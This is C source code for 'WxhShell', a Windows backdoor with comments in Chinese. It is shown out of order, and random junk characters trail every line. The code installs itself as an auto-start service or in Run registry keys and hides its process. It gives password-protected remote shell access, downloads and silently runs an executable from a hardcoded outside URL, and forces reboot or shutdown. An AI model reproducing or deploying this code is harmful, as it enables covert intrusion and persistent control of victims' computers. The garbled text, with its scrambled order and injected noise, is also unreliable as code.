    if(Boot(SHUTDOWN)) U")bvUIL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MhWmY[  
    else { aJK8G,Vk  
    closesocket(wsh); jh2D 9h  
    ExitThread(0); U(.Ln@sq  
    } ]KLj Qpd  
    break; lP\7=9rh^x  
    } c9r, <TR9  
  // 获取shell d5UdRX]*  
  case 's': { 9xN4\y6F  
    CmdShell(wsh); Fdzs Wm  
    closesocket(wsh); G-9]z[\#  
    ExitThread(0); mGwB bY+5n  
    break; 7WKb| /#;  
  } _}{C?611c  
  // 退出 .$L'Jt2X  
  case 'x': { h@@2vs2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D3|y|Dr  
    CloseIt(wsh); @e3O=_m-  
    break; 34&n { xv  
    } @=isN'>]O  
  // 离开 |^8l8u  
  case 'q': { pma'C\b>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DF P0WXbOE  
    closesocket(wsh); o-yZ$+V  
    WSACleanup(); #-Ehg4W  
    exit(1); 3g^_Fq'  
    break; (Lp<T!"  
        } ENr\+{{%  
  } -Wb/3 X  
  } fu"#C}{  
q% 2cx@c  
  // 提示信息 I Bo)fE\O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~\6Kq`Y  
} x?y)a9&Hm  
  } 6"/cz~h  
hL+)XJu^J  
  return; )Gh"(]-<  
} v&(PM{3o  
71Q-_Hi  
// shell模块句柄 Z9E[RD  
int CmdShell(SOCKET sock) ~bf-uHx  
{ =hjff/ X  
STARTUPINFO si; )C|[j@MD  
ZeroMemory(&si,sizeof(si)); Fr`"XH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PsjSL8]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,W'`rCxJ  
PROCESS_INFORMATION ProcessInfo; 6f v{?0|  
char cmdline[]="cmd"; -M/DOTc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DW\';"  
  return 0; ~Uz,%zU#3  
} ]O,;t>  
[ ]}E- V  
// 自身启动模式 &-dyg+b3  
int StartFromService(void) DZ<q)EpC  
{ -hZlFAZi  
typedef struct 9nu!|reS  
{ &Egw94l  
  DWORD ExitStatus; \_bk+}WJ]s  
  DWORD PebBaseAddress; @!1o +x  
  DWORD AffinityMask; PJ5~,4H-4  
  DWORD BasePriority; vR[XbsNM  
  ULONG UniqueProcessId; U(4>e!  
  ULONG InheritedFromUniqueProcessId; S%uwQ!=O8  
}   PROCESS_BASIC_INFORMATION; *9Ej fs7L  
]+@@{?0  
PROCNTQSIP NtQueryInformationProcess; VJ8cls<  
s{#rCc)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P+tRxpz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +*Y/+.4WE$  
F=?0:2P0bD  
  HANDLE             hProcess; b= amd*  
  PROCESS_BASIC_INFORMATION pbi; F%Oy4*4  
yr8 b?m.x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]q~ _  
  if(NULL == hInst ) return 0; G6]W'Kk  
!VBl/ aU@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X,DG2HT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b*i_'k}*<g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f*)8bZDD  
>r J9^rS  
  if (!NtQueryInformationProcess) return 0; mwU|Hh)N]  
!6{; z/Hy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5 Yj qN  
  if(!hProcess) return 0; %#kml{I   
%Bn"/0,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (1Q G]1q  
=BW;n]ls  
  CloseHandle(hProcess); $o2H#"  
6b`3AAGU"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X` r~cc  
if(hProcess==NULL) return 0; | >X5@  
cih[A2lp  
HMODULE hMod; Q"rQVO  
char procName[255]; PWUS@I  
unsigned long cbNeeded; zmaf@T  
.nh }f}j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *L7&P46  
onqfmQ,3E  
  CloseHandle(hProcess); as%@dUK?  
1fajTT?  
if(strstr(procName,"services")) return 1; // 以服务启动 %{"v^4  
E "9`  
  return 0; // 注册表启动 t*J *?Ma  
} %+gK5aVab  
ul@G{N{L   
// 主模块 2E7vuFH4c  
int StartWxhshell(LPSTR lpCmdLine) .Y`;{)  
{ g }\ G@7Q  
  SOCKET wsl; xb8S)zO]Q  
BOOL val=TRUE; ]c/k%] o~  
  int port=0; A><w1-X&=o  
  struct sockaddr_in door; re}_+sv U  
AIN Fv;  
  if(wscfg.ws_autoins) Install(); \; #T.@c5  
iwM$U( 9  
port=atoi(lpCmdLine); J[0o 6  
H 5\k`7R  
if(port<=0) port=wscfg.ws_port; hJ|zX  
uUmkk  
  WSADATA data; -]hk2Q0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; my1FW,3  
iG+hj:5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k9Pwf"m|](  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gs/ i%O  
  door.sin_family = AF_INET; Vd%%lv{v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e97Ll=>  
  door.sin_port = htons(port); ZhvZe/  
bEvlk\iql  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cl,\N\  
closesocket(wsl); +q<G%PwbV  
return 1; E]@$,)nC  
} )O}q{4,}  
$f>h_8cla  
  if(listen(wsl,2) == INVALID_SOCKET) { 41^=z[k  
closesocket(wsl); XWd;-%`<  
return 1; STln_'DF'  
} n VNz5B  
  Wxhshell(wsl); ."X}A t  
  WSACleanup(); xOY %14%Y  
d1]1bN4`"0  
return 0; )/87<Y;o  
B:X,vE  
} E^K<b7  
\mo NpKf  
// 以NT服务方式启动 IJ[r!&PY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |^:qJ;dOP  
{ 3:]c>GPQ  
DWORD   status = 0; pHNo1-k\  
  DWORD   specificError = 0xfffffff; Z(h.)$yH*=  
Wxeg(L}E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c;6[lv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Nv[MU@Tv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L|hoA9/]  
  serviceStatus.dwWin32ExitCode     = 0; m.6O%jD  
  serviceStatus.dwServiceSpecificExitCode = 0; UgD|tuz]  
  serviceStatus.dwCheckPoint       = 0; 1U?,}w   
  serviceStatus.dwWaitHint       = 0; k.5(d.*(  
I,8f{T!O@"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v w  
  if (hServiceStatusHandle==0) return; %noByq,?  
6, ~Y(#  
status = GetLastError(); MrU0Jrk4+  
  if (status!=NO_ERROR) |&49YQ  
{ :@~W$f\y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |$:y8H'J  
    serviceStatus.dwCheckPoint       = 0; {wL30D^  
    serviceStatus.dwWaitHint       = 0; |^09ny|  
    serviceStatus.dwWin32ExitCode     = status; s;!_'1pi@  
    serviceStatus.dwServiceSpecificExitCode = specificError; OL%KAEnD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,%=SO 82W  
    return; rGDx9KR4K!  
  } $S6%a9m   
gfr+`4H>v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (/ qOY  
  serviceStatus.dwCheckPoint       = 0; uyqu n@q  
  serviceStatus.dwWaitHint       = 0; (&osR|/Tq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jL6ZHEi#d7  
} 7{ JIHY+  
>}7Ml  
// 处理NT服务事件,比如:启动、停止 'qy LQ:6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t@vVE{`  
{ Kg;u.4.-M  
switch(fdwControl) I%<LLkQ  
{ l^k/Y ]  
case SERVICE_CONTROL_STOP: iwVsq_[]L  
  serviceStatus.dwWin32ExitCode = 0; FL|\D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Pw\p^wz  
  serviceStatus.dwCheckPoint   = 0; $p;<1+!  
  serviceStatus.dwWaitHint     = 0; :3N&&]  
  { AY x*Ngn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P]^ BE;7T  
  } YZdV0 -S  
  return; 1Qk]?R/DN  
case SERVICE_CONTROL_PAUSE: ,L&d\M"f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~W..P:wG5  
  break; ;R[w}#Sm  
case SERVICE_CONTROL_CONTINUE: P P-U.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^&Vj m  
  break; A)%!9i)  
case SERVICE_CONTROL_INTERROGATE: MBn ZO  
  break; +5i~}Q!  
}; q@=3`yQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e0:[,aF`  
} mDdL7I  
LX8A@Yct  
// 标准应用程序主函数 mMOjV_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F%ffnEJg  
{ xP7#`S6W  
)R^&u`k  
// 获取操作系统版本 p>=i'~lQ6  
OsIsNt=GetOsVer(); v$)ZoM6E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :B7dxE9[r  
vrq5 +K&||  
  // 从命令行安装 +l27y0>t  
  if(strpbrk(lpCmdLine,"iI")) Install(); vq` M]1]FO  
+(U;+6 b  
  // 下载执行文件 +R2+?v6  
if(wscfg.ws_downexe) { <N(r -  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >[0t@Tu,D  
  WinExec(wscfg.ws_filenam,SW_HIDE); *8Kx y@  
} b!4Z~d0=  
f2iA5 rCV]  
if(!OsIsNt) { }h+{>{2j  
// 如果时win9x,隐藏进程并且设置为注册表启动 7!g"q\s  
HideProc(); K0fuN)C  
StartWxhshell(lpCmdLine); 1:;S6{oQ  
} 1smKU9B2)  
else BVzMgn;  
  if(StartFromService()) <~teD[1k"  
  // 以服务方式启动 I} .9  
  StartServiceCtrlDispatcher(DispatchTable); s H(io  
else ]|_UpP8EP  
  // 普通方式启动 w| eVl{~p  
  StartWxhshell(lpCmdLine); 1k0*WCfZ  
:|a$[g5  
return 0; cH:9@>'$a  
} Ay@/{RZz  
83!{?EPE  
T f40lv+{  
6an= C_Mb`  
=========================================== "t)$4gERK  
z'&tmje[?  
U1;&G  
z7_h$v  
F*-+5nJ&@  
b6NGhkr'\  
" Y[0mTL4IO  
,4HZ-|EOZ  
#include <stdio.h> puAjAvIax  
#include <string.h> Oq*;GR(Q  
#include <windows.h> Oy_%U*  
#include <winsock2.h> \7PC2IsT3  
#include <winsvc.h> -&EU#Wqh  
#include <urlmon.h> q8!X^1F7  
F4]=(T  
#pragma comment (lib, "Ws2_32.lib") `-w,6  
#pragma comment (lib, "urlmon.lib") WX* uhR  
8ByNaXMO6  
#define MAX_USER   100 // 最大客户端连接数 u<JkP <"S  
#define BUF_SOCK   200 // sock buffer x~QZVL=:  
#define KEY_BUFF   255 // 输入 buffer 2. q\!V}yQ  
l4gZHMh'  
#define REBOOT     0   // 重启 6~OJB!  
#define SHUTDOWN   1   // 关机 kgHZaQnD  
?kULR0uL+  
#define DEF_PORT   5000 // 监听端口 -Q6Vz=ku  
H=*lj.x  
#define REG_LEN     16   // 注册表键长度 O>"T*   
#define SVC_LEN     80   // NT服务名长度 ~"VM_Lz]5  
ue1g(;  
// 从dll定义API F~sUfqiJ'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f^)iv ]p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JAX`iQd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \h/)un5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fTt\@" V  
VVbFn9+V  
// wxhshell配置信息 V an=dz G  
struct WSCFG { N~ajrv}kd  
  int ws_port;         // 监听端口 op($+Q  
  char ws_passstr[REG_LEN]; // 口令 O7oq1JI]Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no uD\rmO{  
  char ws_regname[REG_LEN]; // 注册表键名 ++ZP X'|  
  char ws_svcname[REG_LEN]; // 服务名 a@ ^)?cH!z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 biG :Xn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3BSZz%va  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &2nICAN[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hkOFPt&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y@(EGfI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /r8sL)D+  
^^g u  
}; 4Uhh]/  
,3 [FD9  
// default Wxhshell configuration t?H sfN  
struct WSCFG wscfg={DEF_PORT, mNlbiB  
    "xuhuanlingzhe", TBZhL  
    1, 3hVuC1;"  
    "Wxhshell", `CRF E5  
    "Wxhshell", 0oe2X1.%  
            "WxhShell Service", j;I( w [@P  
    "Wrsky Windows CmdShell Service", fohZ&f|>  
    "Please Input Your Password: ", DzIV5FG  
  1, P%;lHC #i  
  "http://www.wrsky.com/wxhshell.exe", \5-Dp9vG  
  "Wxhshell.exe" E`Br#"/Bl  
    }; .kTOG'K\e  
;ojJXH~$}  
// 消息定义模块 g 'td(i[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;9<?~S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,$ Cr9R&/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <'48mip  
char *msg_ws_ext="\n\rExit."; MDZPp;\)  
char *msg_ws_end="\n\rQuit."; x*p'm[Tdtm  
char *msg_ws_boot="\n\rReboot..."; N2 t`  
char *msg_ws_poff="\n\rShutdown..."; SmAii}-jf  
char *msg_ws_down="\n\rSave to "; kQp*+ras  
.Fx3WryF  
char *msg_ws_err="\n\rErr!"; 2FY]o~@  
char *msg_ws_ok="\n\rOK!"; =y>CO:^G%  
{Iz"]Wh<f  
char ExeFile[MAX_PATH]; DyCkz"1S  
int nUser = 0; ktkS$  
HANDLE handles[MAX_USER]; 3:)_oHq  
int OsIsNt; $Wjx$fD  
$rJgBN   
SERVICE_STATUS       serviceStatus; ?Yx2q_KZk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !DUOi4I  
3a&HW JBSx  
// 函数声明 4aKppj  
int Install(void); FOteN QTj  
int Uninstall(void); \t%iUZ$  
int DownloadFile(char *sURL, SOCKET wsh); '#>Fe`[  
int Boot(int flag); :2V|(:^ '  
void HideProc(void); 1,7 }ah_  
int GetOsVer(void); <rvM)EJv|  
int Wxhshell(SOCKET wsl); hkRqtpYK  
void TalkWithClient(void *cs); MdFFt:y:  
int CmdShell(SOCKET sock); b`JS&E  
int StartFromService(void); v4K! BW  
int StartWxhshell(LPSTR lpCmdLine); do9~#F  
"T h;YJu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m.<or?l'y>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j{johV+`8  
%<r}V<OeR  
// 数据结构和表定义 <m0=bm{j  
SERVICE_TABLE_ENTRY DispatchTable[] = O0s,)8+z5D  
{ W*?qOq {  
{wscfg.ws_svcname, NTServiceMain}, 3dJiu  
{NULL, NULL} )3O#T$h  
}; ,L MN@G  
hUX8j9N>  
// 自我安装 T`,G57-5  
int Install(void) i3pOGa<  
{ G`/4 n@  
  char svExeFile[MAX_PATH]; *^RoI  
  HKEY key; %&0/ Ypp=  
  strcpy(svExeFile,ExeFile); ~Ye nH  
=nO:R,U  
// 如果是win9x系统,修改注册表设为自启动 ]+b?J0|P<  
if(!OsIsNt) { n/`!G?kvI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )L7[;(gQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lANi$ :aE  
  RegCloseKey(key); !/ dH"h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XB@i{/6K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l5]R*mR  
  RegCloseKey(key); h6bvUI+|h  
  return 0; I!}V+gu=  
    } eCWF0a  
  } F+?i{$  
} p&#ju*i6z  
else { &g>M Z" Z|  
cP4C<UG  
// 如果是NT以上系统,安装为系统服务 m 2/S(f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Udf\;G@  
if (schSCManager!=0) 9Z f  
{ :hcOceNz  
  SC_HANDLE schService = CreateService ]1eZ<le`6  
  ( hTWZIW@  
  schSCManager, 9I`0`o"A  
  wscfg.ws_svcname, 6, |>;,U7  
  wscfg.ws_svcdisp, t~)4f.F:  
  SERVICE_ALL_ACCESS, nE?:nJ|%E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WncHgz  
  SERVICE_AUTO_START, f,|;eF-Z  
  SERVICE_ERROR_NORMAL, y~Yv^'Epf  
  svExeFile, ,7 m33Pv*  
  NULL, _\8E/4zh  
  NULL, X"mPRnE330  
  NULL, W7(5z  
  NULL, X-Ev>3H  
  NULL :fnJp9c  
  ); %Pl |3i  
  if (schService!=0) }D`ZWTjDay  
  { ,9"du  
  CloseServiceHandle(schService); Z15 =vsV  
  CloseServiceHandle(schSCManager); X$G:3uoN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r\}?HS06  
  strcat(svExeFile,wscfg.ws_svcname); etUfdZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T XT<6(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X}5"ZLa7l  
  RegCloseKey(key); Yakrsi/jV}  
  return 0; XH0o8\.  
    } y|i(~  
  } P[$idRS&  
  CloseServiceHandle(schSCManager); P.g./8N`z  
} Z\]LG4N?  
} v~W ;&{  
qx9; "Ut  
return 1; mKyF<1,m  
} wAgV evE  
tk:nth  
// 自我卸载 j^v<rCzc (  
int Uninstall(void) L_|iQwU%  
{ gwsOw [;k  
  HKEY key; O/$41mK+!  
,_/\pX0  
if(!OsIsNt) { O2yD{i#l*#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IP-M)_I  
  RegDeleteValue(key,wscfg.ws_regname); NPFI^Uj#A  
  RegCloseKey(key); NH:Bdl3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LOu9#w"  
  RegDeleteValue(key,wscfg.ws_regname); 8e ?9:VM]  
  RegCloseKey(key); +2k{y l  
  return 0; f}KV4'n  
  } !KT.p2\  
} #;lEx'lKN  
} T+t7/PwC;  
else { A>315!d"  
qsN_EMgbdn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .W$9nbly  
if (schSCManager!=0) :Ig9n :  
{ ;j[gE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ux*G*QZ  
  if (schService!=0) *b!.9pK  
  { 7/fJQM  
  if(DeleteService(schService)!=0) { T,Q7 YI  
  CloseServiceHandle(schService); 3RI6+Cgmn  
  CloseServiceHandle(schSCManager); uZ@qlq8  
  return 0; !>wu7u-  
  } a+CJJ3T-  
  CloseServiceHandle(schService); ??|,wIRz  
  } A[`c+&  
  CloseServiceHandle(schSCManager); d_f*'M2Gv  
} (&V)D?/hS  
} AAuwE&Gg  
ftRdK>a D  
return 1; =Lb(N61  
} /UY'E<wBx  
L_+ Fin  
// 从指定url下载文件 nB[B FVkU  
int DownloadFile(char *sURL, SOCKET wsh) 0S }\ML  
{ cG3tn&AXi  
  HRESULT hr; 09 f;z  
char seps[]= "/"; MSp) Jc  
char *token; #N'9F&:V$  
char *file; %s5( ''a.  
char myURL[MAX_PATH]; 33a}M;vx  
char myFILE[MAX_PATH]; y5D3zqCG  
JDp=w,7LF  
strcpy(myURL,sURL); 0R0_UvsXU  
  token=strtok(myURL,seps); n$h+_xN  
  while(token!=NULL) $GQEdVSNo  
  { ^JY:$)4["  
    file=token; .b!HEi<F  
  token=strtok(NULL,seps); ti]8_vP}*  
  } x>Dix1b:.  
5p-vSWr !  
GetCurrentDirectory(MAX_PATH,myFILE); >* F#ZZv}p  
strcat(myFILE, "\\"); : Q2=t!  
strcat(myFILE, file); ae2I,Qt%  
  send(wsh,myFILE,strlen(myFILE),0); sYSq>M  
send(wsh,"...",3,0); gdh|X[d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cv&>:k0V  
  if(hr==S_OK) 9KT85t1#  
return 0; )(1tDQ`L>  
else  n$>_2v  
return 1; "]=XB0)  
$RHw6*COG  
} 7C_U:x  
Dr(;A>?qG  
// 系统电源模块 Ra^c5hP:.E  
int Boot(int flag) ycEp,V;[Z  
{ :9q|<[Y^  
  HANDLE hToken; AT2D+Hi=E  
  TOKEN_PRIVILEGES tkp; xa !/.  
B[f:T%  
  if(OsIsNt) { 9\E];~"iP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *$JS}Pax  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >m=XqtP  
    tkp.PrivilegeCount = 1; v0;dk(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]C|xo.=?]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I8IH\5k  
if(flag==REBOOT) { N>g6KgX{K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;qUd]c9oi  
  return 0; 0&Iu+hv  
} bHTTxZ-%  
else { X)c0 y3hk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -:Juxh  
  return 0; NID2$p  
} s(=@J?7As  
  } AvuGAlP  
  else { U D5hk  
if(flag==REBOOT) { |h((SreO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u)/i$N  
  return 0; P`_Q-vu  
} a +9_sUq  
else { \!0~$?_)P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wLg@BSC.  
  return 0; Y]B9*^d<  
} uhwCC  
} /CbM-jf  
[?]p I  
return 1; bQu@.'O!k  
} bZ+H u~  
=}e{U&CX  
// win9x进程隐藏模块 N~(?g7  
void HideProc(void) /de~+I5AB~  
{  %Rm`YH?  
hsI9{j]f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5fp&!HnG  
  if ( hKernel != NULL ) =#%Vs>G  
  { ;jlI>;C;V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2e({%P@2?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aLQ]2m  
    FreeLibrary(hKernel); sE^= ]N  
  } u 1Wixjd|  
H~0B5Hl!F  
return; t-]~^s  
} gA2]kZg  
)Oj{x0{\Q  
// 获取操作系统版本 sX`by\s,  
int GetOsVer(void) ,twm)%caU  
{ G49`a*Jn  
  OSVERSIONINFO winfo; qx?0]!x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e\*N Lj_(  
  GetVersionEx(&winfo); S3c%</'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /AUX7 m.8  
  return 1; ~(^?M  
  else VlxHZ  
  return 0; edlsS}8^  
} \YsLVOv%:d  
v.Q+4 k  
// 客户端句柄模块 3nUC,T%  
int Wxhshell(SOCKET wsl) N'%l/  
{ $n::w c  
  SOCKET wsh; &>}f\ch/  
  struct sockaddr_in client; y"w`yl{_  
  DWORD myID; 9 tCF m.m  
b X/%Q^Y  
  while(nUser<MAX_USER) -}H EV#ev  
{ =~k#<q1^  
  int nSize=sizeof(client); TO] cZZ<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j[fY.>yt&  
  if(wsh==INVALID_SOCKET) return 1; dp'k$el  
xK_0@6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  .V l  
if(handles[nUser]==0) TF@k{_f  
  closesocket(wsh); _Oc\hW  
else /@LUD=  
  nUser++; MQo/R,F }  
  } n55s7wzM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uCf _O~  
*p^*>~i9)  
  return 0; K|rG&#1J  
} /nNrvMt v  
0?'v|5}  
// 关闭 socket /f!ze|  
void CloseIt(SOCKET wsh) L:UPS&)  
{ Pbakw81!~  
closesocket(wsh); NH8\&#}nAK  
nUser--; <e-hR$  
ExitThread(0); n%ZOR1u)k#  
} wD $sKd  
@t3&#I}mc  
// 客户端请求句柄 )'$'?Fn  
void TalkWithClient(void *cs) )"Dl,Fig:/  
{ "> Y(0^^  
a]?o"{{+  
  SOCKET wsh=(SOCKET)cs; 'w`9lIax  
  char pwd[SVC_LEN]; #AH<dS  
  char cmd[KEY_BUFF]; [CG*o>n&|  
char chr[1]; 0G #s/u#  
int i,j;  Y?IXV*J  
p}yp!(l  
  while (nUser < MAX_USER) { b3+F~G-I"  
A04E <nr  
if(wscfg.ws_passstr) { PO]c&}/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o/I`L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T^ RYN  
  //ZeroMemory(pwd,KEY_BUFF); e]3b0`E  
      i=0; 9S<at MB  
  while(i<SVC_LEN) { 3TNj*jo  
mP -Y9*k  
  // 设置超时 b|u0a6  
  fd_set FdRead; $ I|K<slV  
  struct timeval TimeOut; d0G d5%  
  FD_ZERO(&FdRead); T1YbF/M'  
  FD_SET(wsh,&FdRead); KO=H!Em\l  
  TimeOut.tv_sec=8; Kbqx)E$iL  
  TimeOut.tv_usec=0; D+CP?} /  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b%UbTb,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2NZC,znQ  
#CNK [y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NFBhnNH+  
  pwd=chr[0]; #;s5=aH  
  if(chr[0]==0xd || chr[0]==0xa) { pLsWy&G  
  pwd=0; pXoT@[}  
  break; L~&r.81  
  } h0zv @,u  
  i++; &&`-A6`p  
    } unAu8k^  
/fC8jdp&  
  // 如果是非法用户,关闭 socket i-`J+8|d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); > ZKHjw  
} V})b.\"F  
1\%2@NR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1YvE/<6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L(_bf/ @3  
ac#I $V-  
while(1) { Pfl8x  
,g{Ob{qT  
  ZeroMemory(cmd,KEY_BUFF); 1 ac;6`  
j@Y'>3  
      // 自动支持客户端 telnet标准   CP6xyXOlPB  
  j=0; ^;.&=3N,+  
  while(j<KEY_BUFF) { \EQCR[7qu7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 50NLguE  
  cmd[j]=chr[0]; i5Dq'wp  
  if(chr[0]==0xa || chr[0]==0xd) { ]O+W+h{]  
  cmd[j]=0; b' fcWp0  
  break; 2#xz,RM.  
  } xA]}/*  
  j++; .5GGZfJ]  
    } |,WP)  
,*d<hBGbh  
  // 下载文件 n>?eTlO3  
  if(strstr(cmd,"http://")) { j5bp)U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "|<U`3y6  
  if(DownloadFile(cmd,wsh)) {# Vp`ji  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V8" m_  
  else 5PPaR|c3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e&ci\x%  
  } aW;DfH  
  else { %O\zYtQR  
]T1\gv1~  
